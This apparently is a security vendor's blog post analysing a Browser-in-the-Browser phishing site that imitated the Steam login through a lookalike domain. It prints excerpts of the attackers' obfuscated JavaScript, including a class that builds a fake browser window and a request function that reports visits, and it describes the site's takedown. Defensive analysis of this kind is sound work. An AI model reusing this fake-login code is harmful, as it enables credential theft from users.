A Deep Dive into Anti-Phishing Detection Targeting Steam Platform Users
Exploring the Detection and Takedown of Sophisticated Browser-in-the-Browser Phishing Threats Targeting Steam Users
Introduction
In the ever-evolving landscape of cybersecurity threats, phishing attacks continue to be a significant concern. Recently, our ThreatWatch360 engine detected a sophisticated phishing scheme targeting Steam users. This blog post will highlight our anti-phishing research, detailing the mechanisms behind the Browser-in-the-Browser (BitB) attack and how our ThreatWatch360 engine flagged it early. Moreover, we'll discuss the successful takedown of this phishing site in collaboration with Cloudflare.
The Anti-Phishing Research Initiative
Our research team at ThreatWatch360 has been working diligently to identify and mitigate phishing threats. By deploying sensors across various platforms, including social media and gaming communities, we aim to attract and analyze phishing attempts in real-time. This strategy has proven effective in uncovering new and evolving tactics used by cybercriminals.
The Discovery: A Phishing Attempt on Steam
Our ThreatWatch360 engine flagged this early as a potential phishing threat. Upon closer inspection, we observed that the link led to a phishing page designed to mimic the legitimate Steam login interface. This deceptive tactic is a prime example of a Browser-in-the-Browser (BitB) attack.
At first glance, this URL appears legitimate, closely resembling the official Steam URL. Below screenshot is the official URL: hxxps://steamcommunity.com
During our monitoring, we received a suspicious link through a user on the Steam community.
While analyzing, we observed that the 'steamcommunitoy' button redirects to the following URL: hxxps://steamcommunitoy.com/redeemwalletcode/79862427#
Therefore, our research team decided to conduct further analysis based on the alert received from the sensor.
We identified this phishing attempt as a Browser-in-the-Browser (BitB) phishing attack. In a BitB attack, a malicious actor creates a fake browser window within the user's real browser. This fake window is designed to look like a legitimate login interface, such as those used by popular websites. The goal is to deceive users into believing they are logging into a secure site. However, when users enter their credentials into this fake interface, they are actually sending their sensitive information directly to the attackers, compromising their security.
How the BitB Attack Works
In a BitB attack, a fake browser window is created within the user's actual browser, mimicking a legitimate login interface. This can deceive users into thinking they are logging into a secure site, when in fact they are submitting their credentials to attackers.
We decided to further review the JavaScript files and noticed an evasion technique: When we enable debugging mode to analyze the malicious JavaScript, it conceals its true nature. This is a carefully designed evasion tactic to avoid detection and prevent being flagged.
Malicious Obfuscated JavaScript
The attack utilized heavily obfuscated JavaScript to hide its malicious intentions. Let’s break down the key components of this script.
Malicious JavaScript Content: Initialization and Obfuscation
The JavaScript code uses obfuscation techniques to make it difficult to understand. This snippet performs meaningless calculations to obscure the script's true purpose.
(function (_0x3a9289, _0x234b20) {
const _0x3e270b = _0x3a9289();
while (true) {
try {
const _0x225f33 = parseInt(_0x19c6(2378, 0xd46)) / 1 * (-parseInt(_0x19c6(1764, 0xae2)) / 2) + -parseInt(_0x19c6(2257, 0xef0)) / 3 * (parseInt(_0x19c6(497, -0x3ad)) / 4) + parseInt(_0x19c6(1222, 0x886)) / 5 + -parseInt(_0x19c6(659, 0x5d6)) / 6 * (-parseInt(_0x19c6(2284, 0x90e)) / 7) + -parseInt(_0x19c6(1767, 0xab5)) / 8 * (-parseInt(_0x19c6(1270, 0x41d)) / 9) + parseInt(_0x19c6(622, 0x14a)) / 10 * (-parseInt(_0x19c6(1428, -0x169)) / 11) + parseInt(_0x19c6(387, 0x99)) / 12;
if (_0x225f33 === _0x234b20) {
break;
} else {
_0x3e270b.push(_0x3e270b.shift());
}
} catch (_0x4d11f0) {
_0x3e270b.push(_0x3e270b.shift());
}
}
})(_0x11e3, 491729); Decoding the Obfuscation: Custom Window Class
The core of the BitB attack involves creating a fake browser window:
class Window {
constructor() {
this.platformName = "Windows";
this.platformVersion = 10;
if (navigator.userAgent.indexOf("Chrome") > -1) {
this.browserName = "chrome";
if (navigator.userAgent.indexOf("Edg") > -1) {
this.browserName = "edge";
}
} else if (navigator.userAgent.indexOf("Firefox") > -1) {
this.browserName = "firefox";
}
}
getPlatform() {
return this.platformVersion === 11 ? "win11" : "win10";
}
getBrowser() {
return this.browserName;
}
createNew() {
this.instance = document.createElement("div");
this.instance.setAttribute("class", "window-wrapper");
this.instance.innerHTML = `<div class="window ${this.getPlatform()} ${this.getBrowser()}"> ... </div>`;
document.body.append(this.instance);
}
}This class simulates a browser window, detecting the user's browser and platform to create a realistic fake window.
Triggering the BitB Attack
The attack is triggered when the user clicks the login button:
const fakeWindow = new Window();
fakeWindow.createNew();This code creates a new instance of the Window class, simulating a legitimate login interface.
Data Exfiltration
The script also includes functions to send captured data to an external server:
javascriptCopy code
const sendRequest = (_0x38d1af, _0x540cf8, _0x5d3395) => {
var _0x1bc9e9 = new XMLHttpRequest();
_0x1bc9e9.open(_0x38d1af, _0x540cf8, true);
if (_0x5d3395) {
_0x1bc9e9.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
}
_0x1bc9e9.send(_0x5d3395);
};
document.addEventListener("DOMContentLoaded", _0x46fef2 => {
window.domain = window.location.origin;
sendRequest("GET", domain + "/metrica.php?method=LoadedCount&url=" + encodeURIComponent(window.location.href));
});This code sends the current page URL to an external server, a common tactic in phishing attacks to track and collect user data.
Takedown and Mitigation
Upon identifying the phishing attack, our team promptly reported the malicious domain to Cloudflare. Thanks to their swift action, the phishing site was taken down, preventing further attempts to deceive unsuspecting users.
Conclusion
The Browser-in-the-Browser (BitB) attack represents a sophisticated phishing technique that can deceive even vigilant users. Our ThreatWatch360 engine's early detection and our team's detailed analysis highlight the importance of continuous monitoring and proactive research in cybersecurity.
Through deploying sensors and analyzing phishing attempts, our anti-phishing research initiative aims to stay ahead of cybercriminals, developing robust defenses against emerging threats.
To protect yourself from such attacks, always verify URLs before entering credentials, use multi-factor authentication, and employ security tools that detect and block phishing attempts.
Stay vigilant, stay secure!
Note: The examples provided in this blog post are for educational purposes only. Always follow best practices in cybersecurity to protect your digital assets.
